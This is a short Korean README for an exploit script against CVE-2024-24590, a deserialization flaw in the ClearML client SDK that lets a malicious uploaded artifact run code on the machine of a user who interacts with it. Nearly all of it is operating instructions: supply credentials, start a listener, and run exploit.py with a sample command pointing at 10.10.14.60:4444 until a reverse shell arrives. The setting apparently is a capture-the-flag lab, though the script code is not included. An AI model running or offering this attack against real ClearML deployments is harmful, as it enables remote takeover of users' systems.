CVE-2024-24590

Allegro AI의 ClearML 플랫폼 클라이언트 SDK 버전 0.17.0부터 1.14.2까지에서 신뢰할 수 없는 데이터의 역직렬화가 발생할 수 있으며, 악의적으로 업로드된 아티팩트가 사용자가 상호작용할 때 최종 사용자의 시스템에서 임의 코드를 실행할 수 있습니다.

사용 방법

1. 제공된 자격 증명을 붙여넣고 clearml-init을 실행합니다.
2. 한 터미널에서 exploit.py 파이썬 스크립트를 실행하고 다른 터미널에서 리스너를 실행합니다.
3. 리버스 셸을 얻기 위해 익스플로잇을 여러 번 실행해야 할 수 있습니다.

usage: exploit.py [-h] -i IP -p PORT -P PROJECT

options:
  -h, --help  도움말 메시지를 표시하고 종료합니다.
  -i IP       리스너의 IP 주소
  -p PORT     리스너의 포트 번호
  -P PROJECT  기존 프로젝트의 이름

예시: python exploit.py -i 10.10.14.60 -p 4444 -P 'Black Swan'

익스플로잇 상세 정보

1. https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/
2. https://www.cvedetails.com/cve/CVE-2024-24590/